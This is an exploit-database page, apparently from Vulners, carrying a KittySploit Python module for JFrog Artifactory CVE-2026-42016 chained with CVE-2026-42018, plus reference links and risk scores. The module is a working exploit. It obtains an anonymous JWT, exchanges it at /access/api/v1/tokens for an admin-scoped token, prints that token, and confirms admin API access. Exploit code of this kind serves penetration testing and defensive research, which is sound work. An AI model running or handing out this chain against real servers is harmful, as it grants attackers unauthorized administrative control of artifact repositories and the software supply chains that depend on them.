Lucene search
+L

JFrog Artifactory CVE-2026-42016 Token Escalation

🗓️ 29 Sep 2026 10:07:34Reported by KittySploitType 
kittysploit
 kittysploit
🔗 kittysploit.com

Token escalation in JFrog Artifactory as POST /access/api/v1/tokens returns admin tokens.

Related
Refs
Code
ReporterTitlePublishedViews
Family
githubexploit
GithubExploit
Exploit for CVE-2026-65615
13 Sep 202608:25
–githubexploit
attackerkb
attackerkb
CVE-2026-42016
27 Jul 202619:20
–attackerkb
circl
Circl
CVE-2026-42016
27 Jul 202622:15
–circl
circl
Circl
CVE-2026-42018
18 Aug 202606:52
–circl
cisa_kev
CISA KEV Catalog
JFrog Artifactory Incorrect Authorization Vulnerability
11 Sep 202600:00
–cisa_kev
cisa_kev
CISA KEV Catalog
JFrog Artifactory Improper Authentication Vulnerability
11 Sep 202600:00
–cisa_kev
cisa
CISA
CISA Adds Three Known Exploited Vulnerabilities to Catalog
11 Sep 202612:00
–cisa
cve
CVE
CVE-2026-42016
27 Jul 202619:20
–cve
cve
CVE
CVE-2026-42018
12 Aug 202617:43
–cve
cvelist
Cvelist
CVE-2026-42016 Incorrect authorization validation of user token in JFrog Artifactory allows Privilege Escalation
27 Jul 202619:20
–cvelist
Rows per page
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""JFrog Artifactory CVE-2026-42016 scope validation bypass token escalation."""

import json

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Auxiliary, Http_client):
    __info__ = {
        "name": "JFrog Artifactory CVE-2026-42016 Token Escalation",
        "description": (
            "Chains CVE-2026-42018 anonymous JWT acquisition with CVE-2026-42016: "
            "POST /access/api/v1/tokens accepts a low-privilege token and returns an "
            "admin-scoped token when scope validation checks signature/issuer only."
        ),
        "author": ["KittySploit Team"],
        "cve": ["CVE-2026-42016", "CVE-2026-42018"],
        "references": [
            "https://nvd.nist.gov/vuln/detail/CVE-2026-42016",
            "https://www.wiz.io/blog/artifactory-under-attack-in-the-wild-exploitation-of-cve-2026-42016-cve-2026-4201",
        ],
        "tags": [
            "jfrog",
            "artifactory",
            "jwt",
            "priv-esc",
            "admin",
            "cve-2026-42016",
            "auxiliary",
        ],
        "agent": {
            "risk": "intrusive",
            "effects": ["active_exploitation", "data_exfiltration"],
            "expected_requests": 4,
            "reversible": True,
            "approval_required": True,
            "produces": ["credentials", "exploit_paths", "risk_signals"],
            "requires": {
                "tech_hints_any": ["artifactory", "jfrog"],
                "endpoint_pattern_any": ["/access/api/"],
            },
            "chain": {
                "produces_capabilities": [
                    {"capability": "admin_access", "from_detail": "token scope bypass"},
                ],
                "suggested_followups": [],
            },
        },
    }

    anon_token = OptString("", "Existing anonymous JWT (auto-fetched when empty)", False)

    @staticmethod
    def _extract_token(body: str) -> str:
        text = (body or "").strip()
        if text.count(".") >= 2 and len(text) > 40:
            return text
        try:
            payload = json.loads(text)
        except json.JSONDecodeError:
            return ""
        for key in ("access_token", "token", "accessToken"):
            value = payload.get(key)
            if isinstance(value, str) and value.count(".") >= 2:
                return value
        return ""

    def _fetch_anonymous_token(self) -> str:
        response = self.http_request(
            method="POST",
            path="/access/api/v1/aws/token/",
            headers={"Content-Type": "application/json"},
            json={},
            allow_redirects=False,
        )
        if not response:
            return ""
        return self._extract_token(response.text or "")

    def run(self):
        print_status("CVE-2026-42016 — JFrog Artifactory token scope escalation")
        token = str(self.anon_token or "").strip() or self._fetch_anonymous_token()
        if not token:
            print_error("Could not obtain anonymous JWT (CVE-2026-42018 prerequisite)")
            return False
        print_info(f"Anonymous JWT acquired ({len(token)} chars)")
        response = self.http_request(
            method="POST",
            path="/access/api/v1/tokens",
            headers={
                "Authorization": f"Bearer {token}",
                "Content-Type": "application/json",
            },
            json={
                "scope": "applied-permissions/admin",
                "audience": "*",
                "include_reference_token": True,
            },
            allow_redirects=False,
        )
        if not response or int(response.status_code or 0) not in (200, 201):
            print_error("Token escalation request failed")
            return False
        admin_token = self._extract_token(response.text or "")
        if not admin_token:
            print_error("No admin token in response")
            return False
        print_success("Admin-scoped token obtained")
        print_info(admin_token[:120] + ("..." if len(admin_token) > 120 else ""))
        info = self.http_request(
            method="GET",
            path="/artifactory/api/system/info",
            headers={"Authorization": f"Bearer {admin_token}"},
            allow_redirects=False,
        )
        if info and int(info.status_code or 0) == 200:
            print_success("Admin Artifactory API access confirmed")
            body = (info.text or "")[:800]
            if body:
                print_info(body)
            return True
        print_info("Admin token minted but system/info check did not return 200")
        return True

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

29 Sep 2026 10:07Current
7.7High risk
Vulners AI Score7.7
CVSS 3.18.1 - 8.8
EPSS0.09805
SSVC
0